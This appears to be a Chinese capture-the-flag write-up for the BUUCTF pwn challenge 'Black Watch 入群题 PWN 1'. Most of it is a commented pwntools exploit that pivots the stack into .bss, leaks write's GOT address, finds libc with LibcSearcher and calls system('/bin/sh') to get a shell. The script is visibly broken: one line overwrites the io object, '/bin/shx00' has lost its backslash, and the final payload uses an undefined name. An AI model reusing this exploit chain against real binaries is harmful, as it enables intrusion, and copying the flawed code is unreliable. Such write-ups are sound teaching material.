『BUUCTF』:PWN | [Black Watch 入群题]PWN 1

checksec检查防护:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

尝试运行一下:

1 Hello good Ctfer!
2 What is your name? >aaa
3 What do you want to say? >bbb
4 GoodBye!

IDA静态分析:

  main:

exp:

 1 #coding=utf-8
 2 from pwn import *
 3 from LibcSearcher import *
 4 
 5 io = process('./spwn')
 6 elf = ELF('./spwn')
 7 
 8 bss_s = 0x0804A300              #将fake栈迁移到bss中
 9 leave_ret_addr = 0x08048408     #栈迁移所需要的的地址
10 write_plt = elf.plt['write']    #plt表可以调用write函数
11 write_got = elf.got['write']    #got表里有write函数的真实地址
12 main_addr = elf.symbols['main'] #控制函数执行流需要再次回到主函数
13 
14 payload = p32(write_plt)        #需要打印出write的真实地址查出
15 payload += p32(main_addr)       #执行write函数后需要将程序再次返回到主函数上
16 payload += p32(1)               #write函数的3个参数,1是第三个参数 
17 payload += p32(write_got) 
18 payload += p32(4)
19 
20 io = recvuntil("What is your name?")
21 io.send(payload)
22 #上面将一些执行流程写入了bss段,接下来的写入的buf在栈上,所以可以控制程序执行到bss段
23 
24 payload2 = 'a'*0x18             #这个payload是写到栈上进行栈迁移的,所以先填充到ebp之前
25 payload2 += p32(bss_s - 4)      #因为有pop ebp的缘故,会是的栈顶指针esp - 4,将ebp覆盖为想要调整到的位置-4
26 payload2 += p32(leave_ret_addr) #栈迁移需要leave_ret
27 io.recvuntil("What do you want to say?")
28 io.send(payload2)
29 #顺利的话,进过这里的栈迁移,会执行我们之前在bss上写好的执行流,将write的真实地址泄露出来。
30 
31 write_real_addr = u32(io.recv(4))                #接收泄露的地址
32 libc = LibcSearcher('write',write_real_addr)     #这个libcsearcher函数可以根据泄露的地址找到相应的libc版本
33 libc_base = write_real_addr - libc.dump('write') #获取到偏移量
34 system_addr = libc_base + libc.dump('system')    #通过我们获取到的偏移量和system在libc中的地址可以的到system在程序中的真实地址
35 
36 #第一次执行得到system函数地址后接下来会再次执行main函数,我们需要在这次有system函数的情况下再次进行相同的栈迁移执行system('/bin/shx00')
37 io.recv()
38 payload3 = p32(system_addr) #fake栈执行函数
39 payload3 += 'rrrr'          #返回地址
40 payload3 += p32(bss_s+0x0c) #程序没有现成system的参数,将参数写在后面,只需要知道bss_s的地址和偏移即可
41 payload3 += '/bin/shx00'   #参数存放的地方
42 io.send(payload3)           
43 
44 io.recvuntil("say?")
45 payload4 = 'a'*0x18 + p32(bss_s - 4) + p32(leave_ret)   #溢出并迁移栈
46 io.send(payload4)
47 
48 io.interactive()
EXP

 新添加DynELF原理探究实战使用

d=DynELF(leak, ptr)

system_addr = d.lookup('system', 'libc')

参考博客

栈迁移相关知识

LibcSearcher相关使用指南

原文地址:https://www.cnblogs.com/Zowie/p/13512407.html